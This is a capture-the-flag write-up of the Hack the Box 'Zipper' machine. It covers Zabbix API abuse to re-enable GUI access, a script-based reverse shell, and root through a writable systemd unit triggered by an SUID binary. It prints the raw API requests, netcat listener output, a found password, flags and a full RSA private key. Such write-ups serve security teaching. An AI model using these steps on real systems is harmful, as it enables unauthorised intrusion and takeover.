Hack the Box – Zipper Write up

Recon

When we started hacking on this box, all we know is that it’s a linux machine that lives at 10.10.10.108. I started my recon with some standard nmap scans. Running a –top-ports 1000 scan initially only showed that ports 22/tcp and 80/tcp were open. I had to go back again and run the full 65k scan to discover that 10050/tcp was also open.

# cat 65k_zipper_10.10.10.108.nmap
# Nmap 7.70 scan initiated Sat Oct 27 17:00:26 2018 as: nmap -p- -vvv -oA 65k_zipper_10.10.10.108 --open -sS -n -T5 10.10.10.108
Nmap scan report for 10.10.10.108
Host is up, received echo-reply ttl 63 (0.15s latency).
Scanned at 2018-10-27 17:00:26 EDT for 54s
Not shown: 64252 closed ports, 1280 filtered ports
Reason: 64252 resets and 1280 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
10050/tcp open zabbix-agent syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Oct 27 17:01:20 2018 -- 1 IP address (1 host up) scanned in 54.90 seconds

The SSH service only accepted key-based authentication so password guessing wasn’t an option. The service on 10050/tcp was tcpwrapped so there wasn’t much to do there either. That left the web server listening on port 80/tcp.

Webserver Directory Bruteforcing

Browsing to the web server showed the default Apache “It works!” page. Time to start directory bruteforce with dirb. I learned an important lesson here- dirb’s word lists are sorta crappy. I dirb’d the 10.10.10.108 web server with every stock dirb word list and I didn’t find anything interesting.

Nmap called out port 10050/tcp as belonging to zabbix-agent so on a  whim, I manually made a request to http://10.10.10.108/zabbix thinking it would probably fail (I had thrown a ton of word lists at it already without luck) but it worked!

website
A wild zabbix portal appears

I started poking around and found that we can log into the zabbix portal as the guest account without submitting any creds. After logging in as the limited read-only guest account I started looking around the portal and I spot a version number at the bottom of one of the pages (v3.0.21) and a little bit of research shows that this version of zabbix is about a month old so it seems pretty unlikely that it has any serious vulns itself.

I keep poking around and don’t see any obvious pathways to compromise but I notice something interesting buried in one of the pages:

zappers script failed
Who is Zapper?

We found a likely username. I try to log into the zabbix portal with zapper:zapper and we find that the portal says “GUI access disabled”.

gui disabled
but why tho?

It usually says “invalid username or password” when you try to log in with invalid creds, so this must mean that zapper:zapper is valid… But we still can’t log in.

Interacting with the Zabbix API

But Zabbix has an API that we can talk to! I used the API documentation for version 3.0. and I used Burp’s repeater function to craft the actual requests to the API. Protip: make sure to add “Content-Type: application/json” to your requests, otherwise the API will respond with “HTTP/1.0 412 Precondition Failed” for all requests.

First we log into Zabbix with the zapper creds via the user.login method.

user.login Request:

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Cookie: PHPSESSID=u0qlabehj95lf27vhhmsob52mi; zbx_sessionid=af41dc5e04b91bd4067634731ea034a9
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 176

{
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"user": "zapper",
"password": "zapper",
"userData": true
},
"id": 1
}

user.login Response

HTTP/1.1 200 OK
Date: Wed, 31 Oct 2018 02:31:57 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 401
Connection: close
Content-Type: application/json

{"jsonrpc":"2.0","result":{"userid":"3","alias":"zapper","name":"zapper","surname":"","url":"","autologin":"0","autologout":"0","lang":"en_GB","refresh":"30","type":"3","theme":"default","attempt_failed":"0","attempt_ip":"10.10.14.211","attempt_clock":"1540952450","rows_per_page":"50","debug_mode":false,"userip":"10.10.15.222","sessionid":"f1338692aa9461062f6b159e378a061b","gui_access":"2"},"id":1}

The API returns an authenticated sessionid value which we’ll use in the auth parameter for all future requests. This value times out after a while, so you may have to relogin or refresh your session with user.checkAuthentication. (In the screenshots below, you’ll notice that my auth parameter changes throughout this writeup. Thats because these screenshots were taken over a period of a few days, so ignore that 😉 )Also highlighted above is the gui_access value that confirms the disabled GUI status. Seems like we should be able to change that value via API calls. After digging around the API documentation, we find that to enable the GUI, we first need to get the appropriate user group ID value via the usergroup.get method.

usergroup.get Request

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Cookie: PHPSESSID=u0qlabehj95lf27vhhmsob52mi; zbx_sessionid=5e84c9f833d3bebcdf55b98afa99a1c7
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 196

{
    "jsonrpc": "2.0",
    "method": "usergroup.get",
    "params": {
        "output": "extend",
        "status": 0
    },
    "auth": "2124c0094fc44813e3abc7495de43288",
    "id": 1
}

usergroup.get Response

HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 00:27:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 427
Connection: close
Content-Type: application/json

{"jsonrpc":"2.0","result":[{"usrgrpid":"7","name":"Zabbix administrators","gui_access":"0","users_status":"0","debug_mode":"0"},{"usrgrpid":"8","name":"Guests","gui_access":"0","users_status":"0","debug_mode":"0"},{"usrgrpid":"11","name":"Enabled debug mode","gui_access":"0","users_status":"0","debug_mode":"1"},{"usrgrpid":"12","name":"No access to the frontend","gui_access":"2","users_status":"0","debug_mode":"0"}],"id":1}

Cool, seem like this is probably the data we need. Lets turn on the GUI by changing gui_access to 0 with the usergroup.update method.

usergroup.update Request

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Cookie: PHPSESSID=u0qlabehj95lf27vhhmsob52mi; zbx_sessionid=5e84c9f833d3bebcdf55b98afa99a1c7
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 203

{
"jsonrpc": "2.0",
"method": "usergroup.update",
"params": {
"usrgrpid": "12",
"gui_access": "0"
},
"auth": "2124c0094fc44813e3abc7495de43288",
"id": 1
}

Zabbix Administrative Access

The usergroup.update response doesn’t show us anything interesting but now we find that we can log into the Zabbix console with zapper:zapper without the “GUI Access disabled” error that we saw before. We just log in as normal.

Navigate to Administration>Scripts
Here we can add custom scripts to the Zabbix instance. Normally these scripts would be used to do things like ping a host in the network from the web interface.  Lets add some perl that will send us a shell.

zbbix portal
Add a malicious script to send yourself a shell

To trigger the script, navigate to Monitoring>Triggers and click on one of the hostnames. A context menu will appear with the your malicious script listed- click it and catch the resulting shell.

script
Run the script…

catch shell and upgrade
…and catch the shell

Shell on 10.10.10.108

As shown above, the first thing that I did was upgrade to a full shell with python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

then I navigated to /home/zapper to see if I had the permissions to read user.txt. It obviously didn’t work because that would be too easy. However, also in the zapper home directory was a folder in it called “utils” that contained a bash script called backup.sh with a password in it.

password in script
Password in backup.sh

The script is owned by zapper so its pretty likely that ZippityDoDah is zapper’s password. Lets see.

su zipper
Logged in as zapper on zipper

Now we can read /home/zapper/user.txt  as well as zapper’s private ssh key.

zapper@zipper:~$ cat user.txt
aa29e93f48c64f8586448b6f6e38fe33
zapper@zipper:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAzU9krR2wCgTrEOJY+dqbPKlfgTDDlAeJo65Qfn+39Ep0zLpR
l3C9cWG9WwbBlBInQM9beD3HlwLvhm9kL5s55PIt/fZnyHjYYkmpVKBnAUnPYh67
GtTbPQUmU3Lukt5KV3nf18iZvQe0v/YKRA6Fx8+Gcs/dgYBmnV13DV8uSTqDA3T+
eBy7hzXoxW1sInXFgKizCEXbe83vPIUa12o0F5aZnfqM53MEMcQxliTiG2F5Gx9M
2dgERDs5ogKGBv4PkgMYDPzXRoHnktSaGVsdhYNSxjNbqE/PZFOYBq7wYIlv/QPi
eBTz7Qh0NNR1JCAvM9MuqGURGJJzwdaO4IJJWQIDAQABAoIBAQDIu7MnPzt60Ewz
+docj4vvx3nFCjRuauA71JaG18C3bIS+FfzoICZY0MMeWICzkPwn9ZTs/xpBn3Eo
84f0s8PrAI3PHDdkXiLSFksknp+XNt84g+tT1IF2K67JMDnqBsSQumwMwejuVLZ4
aMqot7o9Hb3KS0m68BtkCJn5zPGoTXizTuhA8Mm35TovXC+djYwgDsCPD9fHsajh
UKmIIhpmmCbHHKmMtSy+P9jk1RYbpJTBIi34GyLruXHhl8EehJuBpATZH34KBIKa
8QBB1nGO+J4lJKeZuW3vOI7+nK3RqRrdo+jCZ6B3mF9a037jacHxHZasaK3eYmgP
rTkd2quxAoGBAOat8gnWc8RPVHsrx5uO1bgVukwA4UOgRXAyDnzOrDCkcZ96aReV
UIq7XkWbjgt7VjJIIbaPeS6wmRRj2lSMBwf1DqZIHDyFlDbrGqZkcRv76/q15Tt0
oTn4x8SRZ8wdTeSeNRE3c5aFgz+r6cklNwKzMNuiUzcOoR8NSVOJPqJzAoGBAOPY
ks9+AJAjUTUCUF5KF4UTwl9NhBzGCHAiegagc5iAgqcCM7oZAfKBS3oD9lAwnRX+
zH84g+XuCVxJCJaE7iLeJLJ4vg6P43Wv+WJEnuGylvzquPzoAflYyl3rx0qwCSNe
8MyoGxzgSRrTFtYodXtXY5FTY3UrnRXLr+Q3TZYDAoGBALU/NO5/3mP/RMymYGac
OtYx1DfFdTkyY3y9B98OcAKkIlaA0rPh8O+gOnkMuPXSia5mOH79ieSigxSfRDur
7hZVeJY0EGOJPSRNY5obTzgCn65UXvFxOQCYtTWAXgLlf39Cw0VswVgiPTa4967A
m9F2Q8w+ZY3b48LHKLcHHfx7AoGATOqTxRAYSJBjna2GTA5fGkGtYFbevofr2U8K
Oqp324emk5Keu7gtfBxBypMD19ZRcVdu2ZPOkxRkfI77IzUE3yh24vj30BqrAtPB
MHdR24daiU8D2/zGjdJ3nnU19fSvYQ1v5ObrIDhm9XNFRk6qOlUp+6lW7fsnMHBu
lHBG9NkCgYEAhqEr2L1YpAW3ol8uz1tEgPdhAjsN4rY2xPAuSXGXXIRS6PCY8zDk
WaPGjnJjg9NfK2zYJqI2FN+8Yyfe62G87XcY7ph8kpe0d6HdVcMFE4IJ8iKCemNE
Yh/DOMIBUavqTcX/RVve0rEkS8pErQqYgHLHqcsRUGJlJ6FSyUPwjnQ=
-----END RSA PRIVATE KEY-----

Awesome, now we have persistent access to zapper’s account without having to replicate all those steps again- we can just ssh into the box straight away.

Escalating privileges to root

After digging around the machine for a while I noticed a few strange things.

  • /home/zapper/utils/zabbix-service is an SUID executable owned by root, meaning that any user can execute the binary with the permissions of the owner (ie root), not the permissions of the executor (ie zapper).
  • /etc/systemd/system has a service called purge-backups.service that is owned by root but zapper has permissions to read/write. purge-backups.service points to a script that lives in root’s directory, however I can change this to anything I want because I have read/write permissions on purge-backups.service.

Let’s check out purge-backups.service.

zapper@zipper:/etc/systemd/system$ ls -l purge-backups.service
-rw-rw-r-- 1 root zapper 132 Sep 8 13:22 purge-backups.service
zapper@zipper:/etc/systemd/system$ cat purge-backups.service
[Unit]
Description=Purge Backups (Script)
[Service]
ExecStart=/root/scripts/purge-backups.sh
[Install]
WantedBy=purge-backups.timer

I edited it to point to /home/zapper/utils/shellscript.sh which sends me a shell when executed. Don’t forget to make it executable (chmod +x shellscript.sh)! I restarted the service and it threw an unhelpful error.

Lets also look at purge-backups.timer since it’s referenced by purge-backups.service.

zapper@zipper:/etc/systemd/system$ cat purge-backups.timer
[Unit]
Description=Purge Backups (Timer)
After=zabbix-agent.service
Requires=zabbix-agent.service
BindsTo=zabbix-agent.service
--snip--
WantedBy=zabbix-agent.service

This file appears to be executed by zabbix-agent.service which is probably controlled by zabbix-service process and the zabbix-service process runs with root permissions! I set up a netcat listener on my machine and manually restarted the zabbix service using the SUID executable mentioned above.

zapper@zipper:~/utils$ ./zabbix-service stop
zapper@zipper:~/utils$ ./zabbix-service start

Win!

This forced the root account to execute /home/zapper/utils/shellscript.sh, which sent a shell back to my machine.

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.108: inverse host lookup failed: Unknown host
connect to [10.10.12.5] from (UNKNOWN) [10.10.10.108] 53332
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# pwd
/
# cat /root/root.txt
a7c743d35b8efbedfd9336492a8eab6e

Awesome, we rooted the box!

I really enjoyed this machine. It wasn’t too difficult–just plain fun to play around with, especially the API part.  I also learned a little more about systemd, and more interestingly, how to break systemd. It’s definitely not one of those machines that you bang your head against a wall for a week to figure out. This was a definitely achievable challenge and would recommend it.

This was my solution to Zipper, but there’s other ways to root this box too. Check out https://github.com/Hackplayers/hackthebox-writeups/tree/master/machines/zipper for other user’s solutions. IppSec has a cool youtube walk through that you should check out too.